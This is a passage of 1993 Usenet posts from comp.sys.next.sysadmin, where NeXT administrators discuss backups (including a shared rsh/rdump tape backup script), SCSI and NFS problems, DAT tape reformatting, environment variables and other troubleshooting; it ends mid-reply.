Newsgroups: comp.sys.next.sysadmin
Subject: Re: what backup are you using?
Date: 23 Mar 1993 19:20:07 -0500
Organization: Systemix Software, Inc.
Message-ID: <1oo9fnINNdgm@systemix.com>
References: <1993Mar23.190620.4002@imagine.com>
In article <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes:
>Hello Other Next Sys Ads;
>
>I need some information about doing backups - mainly, what are other
>people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any
>other ideas?
>
I'm using SafetyNet-Professional with an Archive Python DAT drive :-)
Brian
--
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Systemix Software, Inc. Email: brian@systemix.com
From: bdm@agni.ss.uci.edu (Brian McElree)
Subject: SCSI Problem
Message-ID: <2BAFABE7.17415@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Date: 24 Mar 93 00:31:35 GMT
I have an old Sun shoebox with a 141 MB disk that I have been using as an
external disk for my 040 station (400 MB internal). It has a SCSI Id of 2
and is mount at boot through fstab. Things work fine until I add another
SCSI device (scanner, CD) to the chain. Then I get the following error
message at boot:
EMULEX MD21/s2 ESDI Rev as sd1 at sc0 target 2 lun 0
Disk label <whatever>
Disk Capacity <whatever>
EMULEX MD21/s2 ESDI Rev as sd2 at sc0 target 2 lun 1
Waiting for drive to come ready
.............
sd2 (2,1): sense key 0x2; additional sense code: 0x5
SCSI Block in error =0 (no valid label)
Target 2: NOT READY; retry 1
Target 2: NOT READY; retry 2
etc
It continues to retry Target 2, consuming may cpu cycles. The first entry
is correct, at least it is what is shown when the drive is used in isolation.
The second entry is a mystery to me. To the uninformed, it appears as if
the NeXT is trying to mount a second disk at the same SCSI Target (viz. sd2 at
target 2)!
Strange thing is that all of the SCSI devices, including the drive itself
function fine. The drive, CD-ROM, and scanner all work individually;
the CD-ROM and scanner work as a pair; but if any thing is paired with
the disk drive, the same pattern of errors occur. The devices can be
rearranged, with no effect. I believe that things are proper terminated.
I'm stumped. Any suggestion would be greatly appreciated. Please respond
my e-mail to bdm@aris.ss.uci.edu
Thanks, Brian McElree
From: slv0y@cc.usu.edu
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Use _BOTH_ network ports at once?
Message-ID: <1993Mar23.173839.65198@cc.usu.edu>
Date: 23 Mar 93 17:38:38 MDT
Organization: Utah State University
I have my NeXT computers networked along with a bunch of other IBM PC computers
on a 10BaseT network. I now find myself needing to be able to connect some
computers on a 10Base2 network into my existing network. Is it possible to use
BOTH network ports on the NeXT? So I have my existing network on the 10BaseT
port, can I then plug in the 10Base2 network into the open port on the NeXT
and have those systems available to the NeXT? (The computers on the 10Base2
network are a Mac & a Unix box (a RIP)).
This would be great if it will really work... If it will, do I have to do
anything special to make the NeXT file system available to the 10Base2 network,
or does it "just work"?
If it won't, does anyone have any recomendations on how this could be
accomplished? Do I need a gateway to do this? Any help or recommendations
would be greatly appreciated. Thanks a lot.
John Zollinger
slv0y@cc.usu.edu (not NeXTMail capable)
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From: "Markus A. Singer"<markus@newsoft.octagon.de>
Subject: NeXTstation and Apple LaserWriter Pro 630
Message-ID: <1993Mar23.232853.1343@newsoft.octagon.de>
Sender: markus@newsoft.octagon.de
Organization: NeW-SOFT
Date: Tue, 23 Mar 1993 23:28:53 GMT
Hi all,
Has anybody successfully connected a NeXT with an Apple LaserWriter Pro
630 (via Ethernet or serial), taking full advantage of all the features
the printer offers? (e.g. PhotoGrade...)
Has anybody an appropriate printer description file?
Please mail me about your successes/problems/experiences.
(Maybe someone's out there who can compare it with a HP Laserjet 4)
Thanks in advance and Good night,
Markus
---
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Phone (home) : (+49 8442) 49 03 [NeRD# 2948]
email : markus@newsoft.octagon.de (NeXTMail : yep)
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From: hwr@snert.ka.sub.org (Heiko W.Rupp)
Subject: Re: what backup are you using?
References: <1993Mar23.190620.4002@imagine.com> <1oo9fnINNdgm@systemix.com>
Date: Wed, 24 Mar 1993 09:39:28 GMT
Organization: The Home of the Pilhuhn
Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn)
Message-ID: <hwr.732965968@snert.ka.sub.org>
brian@systemix.com (Brian Cuthie) writes:
>In article <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes:
>>I need some information about doing backups - mainly, what are other
>>people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any
>I'm using SafetyNet-Professional with an Archive Python DAT drive :-)
dump(8) on Phyton DAT also works fine (restore from the same DAT works
also - had to try it yesterday evening ... ).
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From: woo@ornl.gov (John W. Wooten)
Subject: Leaving CDRom mounted
Message-ID: <1993Mar24.152318.25134@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Wed, 24 Mar 1993 15:23:18 GMT
1. I have a CD Rom I want to mount on one machine and leave it mounted
after I log out. How do I do this?
2. I mounted the CD Rom as root on kochab as /NeXTEdu
I then used the NFS tool to export it.
Now kochab is a client machine of polaris as are 10 other machines.
I then imported ?NeXTEdu in the root domain of the server polaris
and mounted it as /Net/kochab/NeXTEdu.
When I logged into veta (or any other client machine) and
examined /Net/kochab/NeXTEdu, I found that some of the
apps had the "correct" icon, but most of them didn't!
Yet from kochab, all have the correct icons. What is
happening?
3. I want to mount the CDRom, logout, leave it mounted and have it
visible on each of the client machines. Clues?
- - - - - - - - -
J. W. Wooten
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Using remotefileserver with ATT machines and Next
Message-ID: <C4E000.EAr@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <1oo1nc$rm6@calvin.NYU.EDU>
Date: Wed, 24 Mar 1993 09:35:59 GMT
Michael Hieb writes
-> Does anyone know of how to use remotefileserver over a LAN with ATT
-> machines. As there exists the service listed in NetInfoServer, it
-> suggests
-> the possibility. Any info would be helpful. If necessary to compile ATT
-> remotefileserver on the Next does anyone know of source location,
-> experience of others would be useful.
RFS is not implemented under NeXTStep...the source (to be compatible with SysV
RFS) is, at last check, proprietary...chances are slim that it could be ported
anyway since its is STREAMS dependent....
Best answer would be to get NFS for your AT&T machine...
--
________________________________________________________________________
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Use _BOTH_ network ports at once?
Message-ID: <C4E07B.EMD@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <1993Mar23.173839.65198@cc.usu.edu>
Date: Wed, 24 Mar 1993 09:40:22 GMT
slv0y@cc.usu.edu writes
-> I have my NeXT computers networked along with a bunch of other IBM PC
computers
-> on a 10BaseT network. I now find myself needing to be able to connect some
-> computers on a 10Base2 network into my existing network. Is it possible to
use
-> BOTH network ports on the NeXT?
No, it does not. see the FAQ...
-> If it won't, does anyone have any recomendations on how this could be
-> accomplished? Do I need a gateway to do this? Any help or recommendations
-> would be greatly appreciated. Thanks a lot.
one can buy a 10baseT -> 10base2 transceiver...
Or grab an old PC with a 10base2 card and a 10baseT card and run
PCRoute on it...
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From: nathan@laplace.biology.yale.edu (Nathan F. Janette)
Subject: Write file crashes NeXT printer host?!?
Message-ID: <1993Mar24.194546.19467@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
Date: Wed, 24 Mar 1993 19:45:46 GMT
A user in this lab has created a Write file with graphics imported from
Mma. This file crashes any print server (NeXTstep/040 3.0) that it is
sent to. There is plenty of free disk space. Here are the messages from
/usr/adm/messages:
Mar 24 07:38:47 bohr syslog: Workspace logged in
Mar 24 13:34:23 bohr lpd[1891]: abortpr
Mar 24 13:34:37 bohr syslogd: going down on signal 15
Mar 24 13:35:21 bohr mach: Killing all processes
Any ideas, besides "don't use WriteNow"?
--
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Dept MB&B # Upon your cross I bleed the thoughts that I've been hiding.
Yale Univ/HHMI # I'm all used up; there's not much more for me to give.
New Haven, CT # Echoes of the life that we all want to live."
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: what backup are you using?
Message-ID: <1993Mar24.160904.22003@Happy-Man.com>
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
References: <1993Mar23.190620.4002@imagine.com>
Date: Wed, 24 Mar 1993 16:09:04 GMT
In <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes:
>I need some information about doing backups - mainly, what are other
>people using?
Here's my nightly network backup script, in use for a couple of
years:
#!/bin/sh
# This is a shell archive (shar 3.21)
# made 03/24/1993 16:06 UTC by irving@rosebud
# Source directory /Gigi/Users/irving
#
# existing files WILL be overwritten
#
# This shar contains:
# length mode name
# ------ ---------- ------------------------------------------
# 1336 -rwxr-x--- backup-all
#
if touch 2>&1 | fgrep '[-amc]' > /dev/null
then TOUCH=touch
else TOUCH=true
fi
# ============= backup-all ==============
echo "x - extracting backup-all (Text)"
sed 's/^X//' << 'SHAR_EOF' > backup-all &&
X#!/bin/sh
X# vi:se wm=0 ts=4 sw=4:
X# do the nightly backups - run from vixie crond with operator group membership on tapehost
X
XLENGTH=1250000 # for 112m data tape
Xexport LENGTH
X
X(
X if mt -f /dev/nrxt0 rewind; then
X echo "kill -9 0 2>/dev/null || ps auxww" \
X | /usr/local/bin/atinmin 200
X else
X echo "rewind failure" >&2
X ps auxww
X exit 1
X fi
X
X tapehost=`/bin/hostname`
X
X for hostToDo in `nidump hosts / | awk '{print $2}' | sort`
X do
X for directory in `rsh ${hostToDo} /etc/mount | awk '/^\// {print $3}' | sort`
X do
X echo ${hostToDo}:${directory}
X done
X done | dd of=/dev/nrxt0
X #mt -f /dev/nrxt0 eof # I don't think this was necessary after all
X
X dodump() {
X echo "" >&2
X echo "starting ${hostToDo}:${directory}" >&2
X if test ${hostToDo} = ${tapehost}; then
X /usr/etc/dump 0ufs /dev/nrxt0 ${LENGTH} ${directory}
X else
X rsh ${hostToDo} "/usr/etc/rdump 0ufs ${tapehost}:/dev/nrxt0 ${LENGTH} ${directory}"
X fi
X echo "" >&2
X }
X
X for hostToDo in `nidump hosts / | awk '{print $2}' | sort`
X do
X for directory in `rsh ${hostToDo} /etc/mount | awk '/^\// {print $3}' | sort`
X do
X dodump
X done
X done
X
X mt -f /dev/nrxt0 rewoffl
X echo complete `date` >&2
X) </dev/null 2>&1 \
X| perl -ne 'print unless ($old eq $_ || /records [io]|DONE|MP: level|finished|estimated|dumping|epoch|mapping|Tape rewind|owner/); $old = $_;'
SHAR_EOF
$TOUCH -am 0324080693 backup-all &&
chmod 0750 backup-all ||
echo "restore of backup-all failed"
set `wc -c backup-all`;Wc_c=$1
if test "$Wc_c" != "1336"; then
echo original size 1336, current size $Wc_c
fi
exit 0
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4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108
We publish SOLID VALUE for the intelligent investor. NextMail OK
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Subject: Change required in sendmail.cf for a mailing alias issue
Message-ID: <1oq2siINNqvk@parsifal.umkc.edu>
From: dmedhi@cstp.umkc.edu (Deep Medhi,4747 Troost 207,(816) 235-2006,(913) 341-0462)
Date: 24 Mar 1993 16:39:46 GMT
Organization: University of Missouri - Kansas City
I have been using /etc/sendmail/aliases on my NeXTstation to set up global
mailing lists. It seems that the sender does not get a copy of the mail
although he/she is also in the list. Here is an example:
Suppose I have the following line in /etc/sendmail/aliases:
all_ys: y1@node1, y2@node2, y3@node3
Now if y3@node3 sends a message to all_ys, the message is sent to y1@node1 and
y2@node2, NOT to y3@node3. What is required to be changed in sendmail.cf (or in
some other place) so that a copy is sent also to y3@node3 (the sender)?
Thanks in advance.
Deep Medhi, dmedhi@aazoli.cstp.umkc.edu
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From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Nagging problems in 3.0
Message-ID: <1993Mar24.194500.6190@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Wed, 24 Mar 93 19:45:00 GMT
Since switching to 3.0, I have experienced the following problems on
an on-and-off basis. They are very annoying and I can't seem to
figure out how to cure them, but they do sometimes go away for a
while, only to return later.
1. Printing. As often as not, the print panel informs me that there
is no printer description file available, and prints the pages
starting from the first (rather than the last). Sometimes running
PrintManager and printing a test page makes this problem go away, but
not always. Sometimes rebooting makes it go away, but not always.
2. Launching apps. Some apps, notably Engage!, now seem to take
forever (ie several MINUTES) to launch, and slow down the entire
workspace to the point that even Windows look good while doing so.
Nothing obvious is happening while they launch (eg there's no disk
reading), and nothing appears on the console. Then there's a burst
of disk reading, the app launches, and everything is fine as before.
This happens whether I autolaunch or launch manually.
3. Misc. Alt-double-click should open a folder in a new viewer. As
often as not, it simply goes into the folder in the current viewer.
There's a few more that i run into less frequently.
Anybody have any ideas as to what is wrong and how I might cure it?
I'm running 3.0, which I installed by making a complete installation
from scratch rather than upgrading.
--
-
Stefano Pagiola
Food Research Institute, Stanford University
spagiola@frinext.stanford.edu (NeXTMail encouraged)
spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
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From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress)
Subject: System administrator wanted
Date: Wed, 24 Mar 1993 20:30:04 GMT
Message-ID: <C4EuA5.Bwv@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
we are an active research group in complex systems and need urgently a
part-time system administrator mainly for our NeXT, SUN, SGI network (about
a dozen nodes.)
--
Gottfried Mayer-Kress
Center for Complex Systems Research, Department of Physics
3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801
gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail)
gmk@goshawk.lanl.gov, gmk@santafe.edu
(217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
From: filibert@vista (Daniel Filiberti)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Reformatting WangDAT tapes (long)
Message-ID: <1993Mar24.213032.3212@ohsu.edu>
Date: 24 Mar 93 21:30:32 GMT
Article-I.D.: ohsu.1993Mar24.213032.3212
Sender: news@ohsu.edu
Organization: Oregon Health Sciences University
Ok, there seems to be enough interest, so here goes...
Disclaimer: Everything that you see here works for me,
but I will not be responsible for any damage,
consequences, loss, etc... as a result of using any of the
information in this post. USE AT YOUR OWN RISK!
First, here's some basic knowledge on the meaning of the
two LEDs on the front panel, and the internal DIP
switch...( this all should be true for WangDAT 2000 and
2600 models, by the way, I don't know about others...)
----------------------------------------------------------------------
LED Color State Meaning
----------------------------------------------------------------------
Left Green On Drive active on the SCSI Bus
(Activity/Fault) Red Flashing Drive fault condition exists.
----------------------------------------------------------------------
Right Amber Flashing Loading or unloading cassette
(Cassette/Format) On Cassette in place, format=DDS
Green On Cassette in place, format=compress
----------------------------------------------------------------------
----------------------------------------------------------------------
Switch Function Default OFF/ON Description
----------------------------------------------------------------------
SW1-1 Buffered Mode OFF Software Selectable/Force Buffered
SW1-2 Default Tape Format ON DDS/Group Compression
SW1-3 SCSI1/SCSI2 Protocol OFF
SW1-4 Cassette Load/Unload OFF Option unload cassette on Release
SW1-5 SCSI Bus Parity Enbl ON
SW1-6 SCSI Bus ID LSB OFF \
SW1-7 SCSI Bus ID OFF > These are set via a switch on the
SW1-8 SCSI Bus ID MSB OFF / back of my drive
----------------------------------------------------------------------
Now, to reformat a cassette, you will need the
"scsitools.new" package that is found on your favorite
NeXT archive. You need to modify select.c, as follows...
1. Find all the calls to gs_mode_sense() with a cfield parameter of 3, ie;
gs_mode_sense(fd, lun, 0, 3, sizeof(new_dat.data), new_dat.data)
and change the cfield parameter to 2, like
gs_mode_sense(fd, lun, 0, 2, sizeof(new_dat.data), new_dat.data)
2. Change two lines in the function gs_mode_select() to look like
cdbp->c6_lba = 0x100000 ; /* use pf=1 & sp=1 to save parameters */
sr.sr_ioto = 180;
WangDAT doesn't support the sp=1 save parameters
command, and the timeout should be long enough to allow
the tape to finish formatting (180sec = 3min)...
3. Save and recompile the select.c program.
OK, you are ready to format a tape...here goes.
1. su to root
2. use the "inquire" program to find the scsi target number of your DAT
3. use the "sense1" program to read page 11h = 17 decimal from the DAT, and
redirect it to a file eg.
> sense1 -t6 -l0 -p17 >WangDAT.parms
4. Open the file in Edit, and edit the last part to look like:
# Parameter List Header
#mhdr offs val msk # cur msk def sav
-mhdr 0000 17 17 # 17 17 17 17
-mhdr 0001 00 00 # 00 00 00 00
-mhdr 0002 10 10 # 10 10 10 10
-mhdr 0003 08 08 # 08 08 08 08
# Parameter List Block Descriptor Format
#mbdf offs val msk # cur msk def sav
-mbdf 0000 93 93 # 93 93 93 93
-mbdf 0001 00 00 # 00 00 00 00
-mbdf 0002 00 00 # 00 00 00 00
-mbdf 0003 00 00 # 00 00 00 00
-mbdf 0004 00 00 # 00 00 00 00
-mbdf 0005 00 00 # 00 00 00 00
-mbdf 0006 02 02 # 02 02 02 02
-mbdf 0007 00 00 # 00 00 00 00
# Page Code 11
#mp17 offs val msk # cur msk def sav
-mp17 0000 11 11 # 11 11 11 11
-mp17 0001 0a 0a # 0a 0a 0a 0a
-mp17 0002 00 00 # 01 00 01 01
-mp17 0003 00 ff # 01 ff 00 00
-mp17 0004 20 e0 # 10 e0 10 10
-mp17 0005 00 00 # 03 00 03 03
-mp17 0006 00 00 # 00 00 00 00
-mp17 0007 00 00 # 00 00 00 00
-mp17 0008 05 ff # 04 ff 05 05
-mp17 0009 14 ff # b5 ff 14 14
-mp17 0010 00 ff # 00 ff 00 00
-mp17 0011 00 ff # 01 ff 00 00
The two numbers that changed are the mbdf 0000 value to
93h, which forces compression mode (13h forces DDS, if
thats what you want to do), and the mp17 0004 value to 20h
(setting bit 5) which tells the drive to format.
5. Insert the tape that you want to reformat, and wait for it to load.
6. Then, use the modified "select" program to send the DAT the new parameters.
> select -t6 -l0 -fWangDAT.parms
The program will prompt you a few times about the changes
being made, and then finally, your drive should begin
formatting. When its done the program will exit!
There it is! Enjoy...
Daniel
---
************************************************************
Motto for a monitor, "It's better to burn out, than to fade
away..." [8?)}
************************************************************
Daniel Filiberti
Oregon Health Sciences University
Biomedical Information Communication Center (BICC)
3181 Sam Jackson Park Road
Portland, Oregon 97201-3098
email: filibert@ohsu.edu
Newsgroups: comp.sys.next.sysadmin
From: alberto@parsec.mixcom.com (Alberto Ricart)
Subject: IB is making me $%&@#&#$%^ CRAZY
Message-ID: <1993Mar24.152500.894@parsec.mixcom.com>
Organization: SmartSoft, Inc.
Date: Wed, 24 Mar 1993 15:25:00 GMT
We have 2 people working on a project and every time
one person modifies a nib, it becomes impossible for the
other to modify it without su' ing and making clean.
Both people share a group membership with the correct
privileges set.
ANY IDEAS??
--
Manuel Alberto Ricart
alberto@parsec.mixcom.com <NeXTMail Welcome>
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From: bnocker@cosy.sbg.ac.at (Bernhard Nocker)
Subject: Re: HELP - dialin won't work.
Message-ID: <C4FtFw.858@cosy.sbg.ac.at>
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
References: <1993Mar21.165055.15042@alf.uib.no>
Date: Thu, 25 Mar 1993 09:09:32 GMT
In article <1993Mar21.165055.15042@alf.uib.no> edmtl@alf.uib.no (Thor
Legvold) writes:
[...]
> I've configured a U1496E (ZyXEL) on my Cube (040), and am trying to
enable
> both dialout and dialin.
>
> I have NXFax going, and it is set up _not_ to answer calls.
> The modem's S register for auto answer is enabled.
> I have edited /etc/gettytab and /etc/ttys to enable dialout and
> dial in with flow control.
THAT'S THE PROBLEM! Do not edit /etc/ttys and enable dialin/out! NXFax
handles incoming calls! So disable (change to no) the entries in /etc/ttys
and everything should work fine. If you want another programm than
/usr/etc/getty to get calls then tell this NXFaxMonitor.
If you want to enable SLIP/PPP this must be checked with NXFaxMonitor too.
[...]
--
Bernhard Nocker
University of Salzburg's Department of Computing Studies
Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe
Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at
Fax: +43-662-8044/6316 or +43-662-8044/611
Newsgroups: comp.sys.next.sysadmin
From: Gregory W. Gee <gee@gaul.csd.uwo.ca>
Subject: problem with MANPATH.
Cc: gee@gaul.csd.uwo.ca
Organization: Relayed-by-Sendmail
Date: Thu, 25 Mar 1993 16:33:28 GMT
Message-ID: <9303251633.AA21971@gaul.csd.uwo.ca>
To: comp.sys.next.sysadmin@newshost.uwo.ca
Sender: daemon@julian.uwo.ca (Julian System Daemon Account)
I am having a problem setting the MANPATH in my environment. I thought
that I set it properly but it doesn't seem to have any effect. I only
have two man directories. I set it with:
set MANPATH = '/usr/man:/usr/local/man'
What's the problem with this?
The man pages say this but it doesn't work. Any help would be greatly
appreciated.
****************************************************************************
Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted
Honours Computer Science, University of Western Ontario
>>> Developing in the NeXT generation <<<
****************************************************************************
From: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG (Daniel Filiberti)
Newsgroups: comp.sys.next.sysadmin
Subject: REFORMATTING DAT (WANGDAT ONLY)
Message-ID: <968.2BB0EEC5@paranet.FIDONET.ORG>
Date: 23 Mar 93 21:48:00 GMT
Sender: ufgate@paranet.FIDONET.ORG (newsout1.26)
Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO
--
Daniel Filiberti - via ParaNet node 1:104/422
UUCP: !scicom!paranet!User_Name
INTERNET: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: problem with MANPATH.
Date: 25 Mar 1993 17:13:16 GMT
Organization: University of Houston
Message-ID: <1osp7c$fjj@menudo.uh.edu>
References: <9303251633.AA21971@gaul.csd.uwo.ca>
In article <9303251633.AA21971@gaul.csd.uwo.ca> Gregory W. Gee
<gee@gaul.csd.uwo.ca> writes:
# I am having a problem setting the MANPATH in my environment. I thought
#that I set it properly but it doesn't seem to have any effect. I only
#have two man directories. I set it with:
#
#set MANPATH = '/usr/man:/usr/local/man'
#
# What's the problem with this?
#
If you are using csh then it should be:
setenv MANPATH /usr/man:/usr/local/man
If you are using sh then it should be:
MANPATH="/usr/man:/usr/local/man";export MANPATH
I hope this helps...
# Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted
# Honours Computer Science, University of Western Ontario
# >>> Developing in the NeXT generation <<<
--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: kheit@gandalf.rutgers.edu (John Kheit)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Need Disktab for OD drive.
Message-ID: <Mar.25.13.16.34.1993.29822@gandalf.rutgers.edu>
Date: 25 Mar 93 18:16:34 GMT
Followup-To: comp.sys.next.sysadmin
Organization: Rutgers Univ., New Brunswick, N.J.
Hi all,
Im still trying to get my Ricoh RO-5030E2 SCSI optical drive to work on my NeXT. It would be great if anyone out there has a disktab for it. Or if you have a disktab for any 5.25" 600meg OD. I would guess that the disktabs would be close for such units.
Just some info. It spins at 1800 rpm.
Sector size is 512
#tracks per sector is 32.
I could really use some help on this since my feeble mind isnt capable of making my disktab work. Thank you in advance. :)
Later, John
Newsgroups: comp.sys.next.sysadmin
From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Subject: You don't exist. Go away
Message-ID: <1993Mar25.174425.17860@ens.fr>
Sender: news@ens.fr (USENET News System)
Organization: Ecole Normale Superieure, PARIS, France
Date: Thu, 25 Mar 93 17:44:25 GMT
Sorry to bug you people with this annoying problem.
We have several NeXT here, and on some of them when you try
to talk to somebody you just get:
You don't exist. Go away.
On the other side, you get a "Party is refusing messages."
If you have a hint, mail me, and I'll post a summary.
Thanx again!
--
Roberto Di Cosmo <dicosmo@dmi.ens.fr>
LIENS
Ecole Normale Superieure
45, Rue d'Ulm
75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin
From: smb3u@delton.psyc.virginia.edu (Steven M. Boker)
Subject: Exploring Mathematica CD?
Message-ID: <C4GJGs.B8y@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia, Department of Psychology
Date: Thu, 25 Mar 1993 18:31:40 GMT
I just tried to mount the CDROM that comes with the book
Exploring Mathematica. This worked fine under 2.1, but now
under 3.0 I find that the CDROM is recognized as a Mac filesystem
and it hides the NeXT version of the files.
Does anyone have a workaround for this problem?
Steve
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# Steven M. Boker # "Two's bifurcation #
# boker@virginia.edu # but three's chaotic" #
#====#====#====#====#====#====#====#====#====#====#====#====#====#
From: filibert@vista (Daniel Filiberti)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: REFORMATTING DAT (WANGDAT ONLY)
Message-ID: <1993Mar25.193732.19662@ohsu.edu>
Date: 25 Mar 93 19:37:32 GMT
Article-I.D.: ohsu.1993Mar25.193732.19662
References: <968.2BB0EEC5@paranet.FIDONET.ORG>
Sender: news@ohsu.edu
Organization: Oregon Health Sciences University
In article <968.2BB0EEC5@paranet.FIDONET.ORG>
Daniel.Filiberti@f236.n104.z1.FIDONET.ORG (Daniel Filiberti) writes:
> --
> Daniel Filiberti - via ParaNet node 1:104/422
> UUCP: !scicom!paranet!User_Name
> INTERNET: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG
Hmmm. I didn't post this, and I definitely don't have a fidonet account...
Sorry for the wasted bandwidth, but please don't use my name in your posts.
Oh, and I doubt that there are 2 Daniel Filiberti's out there...;)
Daniel
---
************************************************************
Motto for a monitor, "It's better to burn out, than to fade
away..." [8?)}
************************************************************
Daniel Filiberti
Oregon Health Sciences University
Biomedical Information Communication Center (BICC)
3181 Sam Jackson Park Road
Portland, Oregon 97201-3098
email: filibert@ohsu.edu
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: how to get in touch with other beta testers w/o violating the rules?
Date: 25 Mar 1993 20:41:03 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1ot5cv$3bd@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I am a "beta" tester with a non-disclosure clause for "xyz". Now the question
is how I could get in touch with other beta testers of the same product so I
could discuss some problems which I couldn't discuss with the company making
the product (because my contact people weren't sufficiently knowledgeable -
yes, this sounds unusual). I can't even mention the name of the product. So
how can I start?
Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: rick@indeed.stanford.edu (Rick Stanley Francis)
Subject: Re: You don't exist. Go away
Message-ID: <1993Mar25.203409.7048@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1993Mar25.174425.17860@ens.fr>
Date: Thu, 25 Mar 93 20:34:09 GMT
In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr (Roberto
DiCosmo) writes:
> Sorry to bug you people with this annoying problem.
> We have several NeXT here, and on some of them when you try
> to talk to somebody you just get:
>
> You don't exist. Go away.
I had this problem when I used steward instead of terminal, I believe that
the cause is that stuart doesn't use ttys while terminal does.
-Rick Francis
rickf@leland.stanford.edu
From: "Jeremy G. Mereness" <zonker+@CMU.EDU>
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: NFS Server Bug, 3.0?
Date: Thu, 25 Mar 1993 16:24:20 -0500
Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA
Message-ID: <8fgWA4K00WB30VGktH@andrew.cmu.edu>
The Incident: creating a new network. all the clients are fine. the server
is mounting a set of directories on an external SCSI drive to be mounted by
the clients as /LocalApps, /LocalLibrary, and /usr/local.
In NetInfo, "/server" exports its directories and "/" imports them as their
respective mountpoints. There are also a couple of directories on the server
being mounted as "/Net". 6 directories are being broadcast on the network
total.
I noticed that the server was mounting the directories just like the clients
(because I had imported as "/"). "Fine," I thought, "redundant,
but okay." Too bad you can't make one or two exceptions from "/".
I started installing Mathematica through the mountpoint /LocalApps on the
server. Everything went fine until the end of the second disk. Then, the
server went offline throughout the network, including to itself (/server not
responding... still trying). Any operation would just poll for a disk, but
never find one. I have to forcefully shutdown through the monitor.
If I umount the mountpoints on the server and recreate them as symbolic
links, everything goes fine.
Question 1: has anyone seen this kind of behavior on a 3.0 server? Is this
c'est la vie or am I putting too big a load on it? Could I help things with
the NFS Expert options, like lengthening the time-out period? or is it
something else?
Question 2: I wanna hack it. Let me modify the rc or rc.local file on the
server so that it umounts the NFS directories and replaces them with symbolic
links to the external drive. Where in the rc files should I put this so that
I can be sure that all the NFS mounts have been mounted already?
Thanks in Advance!
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|Jeremy Mereness | Support | Ye Olde Disclaimer: |
|zonker+@cmu.edu (internet) | NeXTStep | This message represents|
| or jm7e+@andrew.cmu.edu | Software | my opinions, alone. |
|FAST Laboratory, CMU-GSIA |------------| Thank you, Mask Man. |
| B.S. Mech Eng. CMU,1992| Certificate Mixology,1992 |No NeXTMail, yet |
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From: magnus@fisher.Stanford.EDU (Magnus Nordborg)
Subject: Re: You don't exist. Go away
Message-ID: <1993Mar25.231801.11275@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1993Mar25.203409.7048@leland.Stanford.EDU>
Date: Thu, 25 Mar 93 23:18:01 GMT
In article <1993Mar25.203409.7048@leland.Stanford.EDU>
rick@indeed.stanford.edu (Rick Stanley Francis) writes:
